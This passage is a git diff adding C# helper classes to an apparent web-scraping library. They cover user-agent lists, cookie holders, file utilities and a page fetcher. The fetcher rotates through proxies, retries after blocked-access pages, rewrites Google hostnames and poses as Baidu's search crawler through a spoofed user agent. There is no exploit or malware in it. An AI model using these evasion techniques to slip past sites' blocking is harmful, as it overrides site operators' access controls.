b/AllBase/CollectBase.cs new file mode 100644 index 0000000..0c79165 --- /dev/null +++ b/AllBase/CollectBase.cs @@ -0,0 +1,157 @@ +/* + * 浏览器基础类 + * 2013-7-24 + * 肖俊 + */ + +using System; +using System.Collections.Generic; + +namespace AllBase +{ + public static class CollectBase + { + /// + /// 初始化浏览器标识列表 + /// + public static void Initialization() + { + try + { + WebCoockies.Coockies.Clear(); + WebCoockies.MobileCoockies.Clear(); + string[] u = UserAgent.Split('\n'); + foreach (string s in u) + { + if(string.IsNullOrEmpty(s)) + continue; + WebBrowserCoockies w = new WebBrowserCoockies(); + w.UserAgent = s.Trim(); + WebCoockies.Coockies.Add(w); + } + u = MobileUserAgent.Split('\n'); + foreach (string s in u) + { + if (string.IsNullOrEmpty(s)) + continue; + WebBrowserCoockies w = new WebBrowserCoockies(); + w.UserAgent = s.Trim(); + WebCoockies.MobileCoockies.Add(w); + } + } + catch + { + + } + } + + /// + /// 浏览器标识 + /// + private static string UserAgent = @"Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2840.99+Safari/537.36 +Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/31.0.1650.63+Safari/537.36 +Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko +Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.89+Safari/537.1 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400"; + /// + /// 浏览器标识 + /// +// private static string UserAgent = @"Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +//Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +//Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2840.99+Safari/537.36 +//Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/31.0.1650.63+Safari/537.36 +//Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Win64;+x64;+Trident/5.0) +//Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +//Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko +//Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +//Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+WOW64;+Trident/5.0) +//Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.89+Safari/537.1 +//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +//Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400"; + /// + /// 手机端浏览器标识 + /// + private static string MobileUserAgent = @"Mozilla/5.0+(Linux;+Android+5.0.2;+vivo+X5Pro+D+Build/LRX21M;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/48.0.2564.116+Mobile+Safari/537.36+baidubrowser/7.10.12.0+(Baidu;+P1+5.0.2) +Mozilla/5.0+(Linux;+Android+6.0;+vivo+1601+Build/MRA58K)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.132+Mobile+Safari/537.36 +Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_2_1+like+Mac+OS+X)+AppleWebKit/602.4.6+(KHTML,+like+Gecko)+Version/10.0+Mobile/14D27+Safari/602.1 +Mozilla/5.0+(Linux;+Android+5.0.1;+ALE-L02+Build/HuaweiALE-L02)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.132+Mobile+Safari/537.36 +Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_3+like+Mac+OS+X)+AppleWebKit/603.1.30+(KHTML,+like+Gecko)+Version/10.0+Mobile/14E277+Safari/602.1"; + } + + /// + /// 浏览器cookies存放类 + /// + public static class WebCoockies + { + /// + /// Cookies列 + /// + public static List Coockies = new List(); + /// + /// Cookies列 + /// + public static List MobileCoockies = new List(); + } + + /// + /// 浏览器基础列 + /// + public class WebBrowserCoockies + { + /// + /// 列ID + /// + public int Id { get; set; } + /// + /// 浏览器标识 + /// + public string UserAgent { get; set; } + /// + /// 来路 + /// + public string Referer { get; set; } + /// + /// Cookies + /// + public List Coockies = new List(); + } + + /// + /// 域名对应Coockies + /// + public class CoockiesBase + { + /// + /// 域名 + /// + public string Domain { get; set; } + /// + /// cookies + /// + public string Cookies { get; set; } + } + + /// + /// cookies值 + /// + public class CoockiesValue + { + /// + /// 名称 + /// + public string Title { get; set; } + /// + /// 值 + /// + public string Value { get; set; } + } +} diff --git a/AllBase/CommonPassword.cs b/AllBase/CommonPassword.cs new file mode 100644 index 0000000..f87b494 --- /dev/null +++ b/AllBase/CommonPassword.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + public class CommonPassword + { + private string CommonPasswordStr = ""; + private void Init() + { + try + { + string filePath = AppDomain.CurrentDomain.BaseDirectory + "temp/simplepwd.txt"; + CommonPasswordStr = FileBase.ReadAllText(filePath); + } + catch + { + } + } + public bool GetCommonPassword(string password) + { + if (string.IsNullOrEmpty(CommonPasswordStr)) + { + Init(); + } + List PasswordList = CommonPasswordStr.Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).Select(p => p.Trim()).ToList(); + bool isHas = PasswordList.Exists(p => p == password); + return isHas; + } + } +} diff --git a/AllBase/ConvertExtension.cs b/AllBase/ConvertExtension.cs new file mode 100644 index 0000000..f4e36d0 --- /dev/null +++ b/AllBase/ConvertExtension.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + public static class ConvertExtension + { + /// + /// 删除特殊字符 by ttzhao 2020.6.20 + /// + /// + /// + /// + public static string RemoveSpecialChar(this string text, params string[] characters) + { + //{ ":", ":", "/", "\\", "\"", "?", "✅", "◆", "‼️" } + string str = text; + List specialCharacters = new List(characters); + specialCharacters.ForEach(c => + { + if (c.Length > 0) + str = str.Replace(c, ""); + }); + + return str; + } + } +} diff --git a/AllBase/EnumHelper.cs b/AllBase/EnumHelper.cs new file mode 100644 index 0000000..9f5dcf3 --- /dev/null +++ b/AllBase/EnumHelper.cs @@ -0,0 +1,57 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + public class EnumHelper + { + public static List GetEnumMember(Type type) + { + List list = new List(); + foreach (var d in Enum.GetValues(type)) + { + string desc = (d.GetType().GetField(d.ToString()).GetCustomAttribute(typeof(EnumDescriptionAttribute)) as EnumDescriptionAttribute).Description; + list.Add(new EnumMember(d.ToString(), (int)d, desc)); + } + return list; + } + + } + public class EnumMember + { + public string Name; + public int Value; + public string Description; + public EnumMember(string name, int value, string description) + { + this.Name = name; + this.Value = value; + this.Description = description; + } + public override string ToString() + { + return this.Description; + } + } + + + /// + /// 枚举注释的自定义属性类 + /// + public class EnumDescriptionAttribute : Attribute + { + private string m_strDescription; + public EnumDescriptionAttribute(string strPrinterName) + { + m_strDescription = strPrinterName; + } + public string Description + { + get { return m_strDescription; } + } + } +} diff --git a/AllBase/Extension/JTokenExtension.cs b/AllBase/Extension/JTokenExtension.cs new file mode 100644 index 0000000..230dc46 --- /dev/null +++ b/AllBase/Extension/JTokenExtension.cs @@ -0,0 +1,35 @@ +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Extension +{ + public static class JTokenExtension + { + public static T ToValue(this JToken token, T defValue = default(T)) + { + string tempvalue = token.ToString(); + if (string.IsNullOrEmpty(tempvalue)) + return defValue; + + Type type = typeof(T); + var typeName = type.Name.ToLower(); + try + { + if (typeName == "string") + return (T)(object)tempvalue; + if (tempvalue is IConvertible) + return (T)System.Convert.ChangeType(tempvalue, type); + } + catch + { + return default(T); + } + + return defValue; + } + } +} diff --git a/AllBase/Extension/LinqExtension.cs b/AllBase/Extension/LinqExtension.cs new file mode 100644 index 0000000..982d387 --- /dev/null +++ b/AllBase/Extension/LinqExtension.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Extension +{ + public static class LinqExtension + { + public static IEnumerable DistinctBy(this IEnumerable source, Func keySelector) + { + HashSet seenKeys = new HashSet(); + foreach (TSource element in source) + { + if (seenKeys.Add(keySelector(element))) + { + yield return element; + } + } + } + } +} diff --git a/AllBase/FileBase.cs b/AllBase/FileBase.cs new file mode 100644 index 0000000..def8c40 --- /dev/null +++ b/AllBase/FileBase.cs @@ -0,0 +1,273 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace AllBase +{ + public static class FileBase + { + /// + /// 文件是否存在 + /// + /// + /// + public static bool Exists(string path) + { + try + { + return File.Exists(path); + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + /// + /// 读取文件 + /// + /// + /// + public static string ReadAllText(string path) + { + return ReadAllText(path, Encoding.Default); + } + + /// + /// 读取文件 + /// + /// + /// + /// + public static string ReadAllText(string path, Encoding encoding) + { + try + { + return File.ReadAllText(path, encoding); + } + catch (Exception e) + { + LogSave.Add(e.Message); + return null; + } + } + + /// + /// 读取文件 + /// + /// + /// + public static string[] ReadAllLines(string path, Encoding encoding) + { + try + { + return File.ReadAllLines(path, encoding); + } + catch (Exception e) + { + LogSave.Add(e.Message); + return null; + } + } + + /// + /// 读取文件 + /// + /// + /// + public static string[] ReadAllLines(string path) + { + return ReadAllLines(path, Encoding.Default); + } + + /// + /// 写入文件 + /// + /// + /// + /// + /// + public static bool WriteAllText(string path, string content, Encoding encoding) + { + try + { + File.WriteAllText(path, content, encoding); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + public static byte[] ReadBytes(string path) + { + try + { + return File.ReadAllBytes(path); + } + catch (Exception e) + { + LogSave.Add(e.Message); + } + return null; + } + + public static bool WriteAllText(string path, string content) + { + return WriteAllText(path, content, Encoding.Default); + } + public static bool WriteBytes(string path, byte[] content) + { + try + { + File.WriteAllBytes(path, content); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + + /// + /// 写入文件 + /// + /// + /// + /// + /// + public static bool AppendAllText(string path, string content, Encoding encoding) + { + try + { + File.AppendAllText(path, content, encoding); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + public static bool AppendAllText(string path, string content) + { + return AppendAllText(path, content, Encoding.Default); + } + + /// + /// 删除文件 + /// + /// + /// + public static bool Delete(string path) + { + try + { + File.Delete(path); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + /// + /// 创建目录 + /// + /// + /// + public static bool DirectoryCreate(string path) + { + try + { + if (!Directory.Exists(path)) + { + Directory.CreateDirectory(path); + } + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + public static bool Move(string oldFile, string newFile) + { + try + { + Delete(newFile); + File.Move(oldFile, newFile); + return true; + } + catch (Exception e) + { + LogSave.Add(e.Message); + return false; + } + } + + /// + /// 将CSV文件的一行转换为列表,进行逗号分隔(字段内容中的逗号不参与分隔) + /// + /// + /// + public static List CsvStrToList(string csvLine) + { + var newStr = string.Empty; + List sList = new List(); + + bool isSplice = false; + string[] array = csvLine.Split(new char[] { ',' }); + foreach (var str in array) + { + var strTemp = str.Trim(); + if (!string.IsNullOrEmpty(strTemp) && strTemp.IndexOf('"') > -1) + { + if (strTemp.StartsWith("\"") && !strTemp.StartsWith("\"\"") && !strTemp.EndsWith("\"")) + { + isSplice = true; + } + if (strTemp.EndsWith("\"") && !strTemp.EndsWith("\"\"")) + { + if (!isSplice) + newStr += strTemp; + else + newStr = newStr + "," + strTemp; + + isSplice = false; + } + } + else + { + if (string.IsNullOrEmpty(newStr)) + newStr += strTemp; + } + + if (isSplice) + { + //添加因拆分时丢失的逗号 + if (string.IsNullOrEmpty(newStr)) + newStr += strTemp; + else + newStr = newStr + "," + strTemp; + } + else + { + sList.Add(newStr.Replace("\"\"", "#@%*^^*%@#").Replace("\"", "").Trim(' ', '\t').Replace("#@%*^^*%@#", "\"")); // 去除字符中的双引号和首尾空格 + newStr = string.Empty; + } + } + return sList; + } + + } +} diff --git a/AllBase/GetHtml.cs b/AllBase/GetHtml.cs new file mode 100644 index 0000000..776db68 --- /dev/null +++ b/AllBase/GetHtml.cs @@ -0,0 +1,1932 @@ +/* + * 采集网页 + * 肖俊 + * 2013-11-12 + * + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Globalization; +using System.IO; +using System.IO.Compression; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Web; + +namespace AllBase +{ + public class GetHtml + { + /// + /// 加载远程图片 + /// + /// + /// + public static Image LoadImage(string url) + { + try + { + WebRequest webreq = WebRequest.Create(url); + WebResponse webres = webreq.GetResponse(); + Stream stream = webres.GetResponseStream(); + return Image.FromStream(stream); + } + catch + { + return null; + } + } + + public static Icon LoadIcon(string url) + { + try + { + Bitmap bmp = new Bitmap(LoadImage(url)); + IntPtr h = bmp.GetHicon(); + System.Drawing.Icon icon = System.Drawing.Icon.FromHandle(h); + DeleteObject(h); + return icon; + } + catch (Exception ex) + { + return null; + } + } + [DllImport("gdi32.dll")] + public static extern bool DeleteObject(IntPtr hObject); + + /// + /// 代理抓取 + /// + /// + /// + public static string ByProxy(string url) + { + string html = "", newurl = GetProxyUrlx(url); + Random ro = new Random(); + int i = 0; + MultiThreadClient mc = new MultiThreadClient(); + ReTry: + html = mc.GetHtml(newurl); + if (IsError(ref html)) + { + Thread.Sleep(ro.Next(2000, 6000)); + if (i < 4) + { + i++; + goto ReTry; + } + newurl = GetProxyUrlx(url); + html = mc.GetHtml(newurl); + if (IsError(ref html)) + return mc.GetHtml(url); + return html; + } + Thread.Sleep(100 + BaseClass.WaitTime / 2 + ro.Next(BaseClass.WaitTime)); + Clear(ref html); + return html; + } + /// + /// 清理、处理代码 + /// + /// + private static void Clear(ref string html) + { + html = UrlDecode(html); + html = html.Replace("\\", ""); + } + /// + /// 是否错误 + /// + /// + /// + public static bool IsError(ref string html) + { + return String.IsNullOrEmpty(html) || html.Length < 100 || html.Contains("您的访问出错了") || + html.Contains("访问异常出错"); + } + /// + /// 获取代理地址 + /// + /// + /// + public static string GetProxyUrlx(string url) + { + if (String.IsNullOrEmpty(url)) + return null; + if (BaseClass.ProxyOut.Count == 0) + { + BaseClass.ViewCode += "代理异常"; + return url; + } + Random ra = new Random(); + string p = BaseClass.ProxyOut[ra.Next(BaseClass.ProxyOut.Count)]; + return "http://" + p + "/url=" + url.Replace(".google.", ".goo00gle.") + .Replace("?", "%3f").Replace("=", "%3d").Replace("&", "%26"); + } + /// + /// ascii码转译为汉字 + /// + /// 带ASCII码的字符串 + /// 还原字符串 + public static void AsciiToString(ref string temp) + { + if (String.IsNullOrEmpty(temp)) + return; + //return; + try + { + if (temp.Contains("&#")) + { + Regex reUnicode = new Regex(@"&#[x]([0-9A-Fa-f]{4,5});", RegexOptions.Compiled); + temp = reUnicode.Replace(temp, m => + { + short c; + if (Int16.TryParse(m.Groups[1].Value, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out c)) + return "" + (char)c; + return m.Value; + }); + } + if (temp.Contains("\\u")) + { + Regex reUnicode = new Regex(@"\\u([0-9a-fA-F]{4,5})", RegexOptions.Compiled); + temp = reUnicode.Replace(temp, m => + { + short c; + if (Int16.TryParse(m.Groups[1].Value, NumberStyles.HexNumber, + CultureInfo.InvariantCulture, out c)) + return "" + (char)c; + return m.Value; + }); + } + } + catch + { + } + //string html = "´,´©,©>,>µ,µ®,®°,°¡,¡, »,»" + + // "¦,¦÷,÷¿,¿¬,¬§,§•,•½,½«,«¶,¶¨,¨" + + // "¸,¸¼,¼<,<±,±×,×¢,¢¾,¾¯,¯“,"" + + // "™,™€,€£,£¥,¥„,„…,…·,·›,›ª,ª" + + // "ˆ,ˆ“,“—,—’,’º,º†,†‹,‹–,–" + + // "‚,‚”,”‡,‡‘,‘‰,‰­,­˜,˜≈,≈" + + // "⁄,⁄←,←∂,∂♠,♠∩,∩≥,≥≤,≤″,″∑,∑♣,♣" + + // "↔,↔◊,◊′,′↑,↑↓,↓♥,♥−,−∏,∏‍,‍♦,♦" + + // "∞,∞≠,≠√,√‌,‌≡,≡∫,∫‾,‾→,→α,αη,η" + + // "μ,μπ,πθ,θβ,βγ,γν,νψ,ψυ,υχ,χι,ι" + + // "ω,ωρ,ρξ,ξδ,δκ,κο,οσ,σζ,ζε,ε" + + // "λ,λφ,φτ,τΑ,ΑΗ,ΗΜ,ΜΠ,ΠΘ,ΘΒ,ΒΓ,Γ" + + // "Ν,ΝΨ,ΨΥ,ΥΧ,ΧΙ,ΙΩ,ΩΡ,ΡΞ,ΞΔ,ΔΚ,Κ" + + // "Ο,ΟΣ,ΣΖ,ΖΕ,ΕΛ,ΛΦ,ΦΤ,Τς,ς&,&"; + //string[] h = html.Split(';'); + //string s1; + //string s2; + //foreach (string s in h) + //{ + // s2 = s.Substring(2, s.Length - 2) + ";"; + // if (!temp.Contains(s2)) + // continue; + // s1 = s.Substring(0, 1); + // temp = temp.Replace(s2, s1); + //} + //return temp; + } + /// + /// html解码,\u解码 + /// + /// + /// + public static string UrlDecode(string html) + { + string temp = HttpUtility.UrlDecode(html); + Regex reUnicode = new Regex(@"\\u([0-9a-fA-F]{4})", RegexOptions.Compiled); + return reUnicode.Replace(temp, m => + { + short c; + if (Int16.TryParse(m.Groups[1].Value, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out c)) + return "" + (char)c; + return m.Value; + }); + } + + /// + /// 本地+国内+美国 + /// + /// + /// + /// + public static string GetByMyself(string url, out bool isError, bool isServer) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = isServer ? 40 : 20; + string Html = mu.GetHtml(url); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(ProxyIpInUrl(url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(ProxyIpOutUrl(url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 国内+本地+美国 + /// + /// + /// + /// + public static string GetByIn(string url, out bool isError, bool isServer) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = isServer ? 40 : 20; ; + string Html = mu.GetHtml(ProxyIpInUrl(url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(url); + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + mu.TimeOut = 30; + Html = mu.GetHtml(ProxyIpOutUrl(url)); + } + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 国内+本地+美国 + /// + /// + /// + /// + public static string PostByIn(string url, out bool isError, bool isServer, string data) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = isServer ? 40 : 20; ; + string Html = mu.GetHtml(ProxyIpInUrl(url), Encoding.UTF8.GetBytes(data)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(url, Encoding.UTF8.GetBytes(data)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(ProxyIpOutUrl(url), Encoding.UTF8.GetBytes(data)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 美国+国内+本地 + /// + /// + /// + /// + public static string GetByOut(string url, out bool isError, bool isServer) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = isServer ? 60 : 30; ; + string Html = mu.GetHtml(ProxyIpOutUrl(url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(ProxyIpInUrl(url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(url); + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsa(string url) + { + bool isError; + return ByUsa(url, out isError, false, false, false, false); + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsa(string url, bool mobile) + { + bool isError; + return ByUsa(url, out isError, mobile, false, false, false); + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsa(bool isUtf8, string url) + { + bool isError; + return ByUsa(url, out isError, false, false, isUtf8, false); + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsa(string url, bool mobile, bool isGbk) + { + bool isError; + return ByUsa(url, out isError, mobile, isGbk, false, false); + } + /// + /// 美国服务器出口 + /// + /// + /// + public static string ByUsaWhoies(string domain) + { + bool isError; + return ByUsa(domain, out isError, false, false, false, true); + } + + /// + /// 美国服务器出口 + /// + /// + /// + /// + public static string ByUsa(string url, out bool isError, bool mobile, bool isGbk, bool isUtf8, bool isWhois) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = 50; + mu.IsGbk = isGbk; + mu.IsUtf8 = isUtf8; + if (mobile) + mu.AddCookies = "Moblie"; + mu.IsWhoies = isWhois; + string Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyOut, url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyOut, url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + + /// + /// 局域网出口 + /// + /// + /// + /// + public static string ByLocation(string url) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = 30; + string Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyIn, url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyIn, url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyIn, url)); + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + return null; + } + return Html; + } + + /// + /// 远程下载文件 + /// + /// + /// + /// + public static bool ByUsaDownload(string url, string path) + { + string newUrl = GetProxyUrl(BaseClass.ProxyOut, url); + bool ok = DownloadFile(newUrl, path); + if (!ok) + DownloadFile(GetProxyUrl(BaseClass.ProxyOut, url), path); + if (!ok) + DownloadFile(GetProxyUrl(BaseClass.ProxyOut, url), path); + return ok; + } + + + /// + /// HTTPS专用出口 + /// + /// + /// + public static string ByHttps(string url) + { + bool isError; + return ByHttps(url, out isError, false); + } + /// + /// HTTPS专用出口 + /// + /// + /// + public static string ByHttps(string url, bool mobile) + { + bool isError; + return ByHttps(url, out isError, mobile); + } + /// + /// HTTPS专用出口 + /// + /// + /// + /// + public static string ByHttps(string url, out bool isError, bool mobile) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = 60; + if (mobile) + mu.IsMoblie = true; + string urlx = GetProxyUrl(BaseClass.ProxyHttps, url); + string Html = mu.GetHtml(urlx); + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + urlx = GetProxyUrl(BaseClass.ProxyHttps, url); + Html = mu.GetHtml(urlx); + } + if (String.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 转换URL + /// + /// + /// + /// + public static string GetProxyUrl(List ips, string url) + { + if (ips.Count == 0) + return url; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + string ip = ips[ra.Next(ips.Count)]; + + return "http://" + (ip.Contains(":") ? ip : ip + ":6000") + "/url=" + ReplaceUrl(url); + } + + /// + /// utf8 下载页面 + /// + /// + /// + public static string Utf8(string url) + { + if (String.IsNullOrEmpty(url)) + return ""; + try + { + WebClientx web = new WebClientx(); + web.Timeout = 60; + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"); + web.Proxy = null; + byte[] b = web.DownloadData(url); + return Encoding.UTF8.GetString(b); + } + catch + { + return ""; + } + } /// + /// utf8 下载页面 + /// + /// + /// + public static string Utf8(string url, int timeOut = 6) + { + if (String.IsNullOrEmpty(url)) + return ""; + try + { + WebClientx web = new WebClientx(); + web.Timeout = timeOut; + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"); + web.Proxy = null; + byte[] b = web.DownloadData(url); + return Encoding.UTF8.GetString(b); + } + catch + { + return ""; + } + } + /// + /// Whois 查询 + /// + /// + /// + public static string Whois(string url) + { + if (String.IsNullOrEmpty(url)) + return ""; + try + { + WebClientx web = new WebClientx(); + web.Timeout = 30; + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"); + web.Headers.Add("Add-Cookies", "whois"); + web.Proxy = null; + byte[] b = web.DownloadData(url); + return Encoding.UTF8.GetString(b); + } + catch + { + return ""; + } + } + + /// + /// 模拟百度抓取 + /// + /// + /// + public static string ByBaidu(string url) + { + string userAgent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; + return ByBaidu(url, userAgent); + } + /// + /// 模拟百度蜘蛛下载页面 + /// + /// + /// + public static string ByBaidu(string url, bool redirect) + { + if (String.IsNullOrEmpty(url)) + return ""; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = "GET"; + request.Accept = "*/*"; + request.Headers.Add("Accept-Language", "zh-CN"); + request.Headers.Add("Accept-Encoding", "gzip,deflate"); + request.UserAgent = + "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1"; + request.AllowAutoRedirect = redirect; + request.Timeout = 20000; + request.ReadWriteTimeout = 20000; + if (!BaseClass.IsTest) + request.Proxy = null; + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + Stream receiveStream = response.GetResponseStream(); + MemoryStream ms = new MemoryStream(); + int num = 0; + byte[] buffer = new byte[10240]; + do + { + num = receiveStream.Read(buffer, 0, buffer.Length); + if (num > 0) + ms.Write(buffer, 0, num); + } while (num > 0); + byte[] b = ms.ToArray(); + ms.Close(); + b = ZipHelper.Decompress(b); + string contentType = response.Headers["Content-Type"]; + string newurl = response.Headers["Location"]; + if (!String.IsNullOrEmpty(newurl)) + return "重定向:" + newurl; + string html = ""; + if (!String.IsNullOrEmpty(contentType)) + { + string c = GetRegexString(contentType, 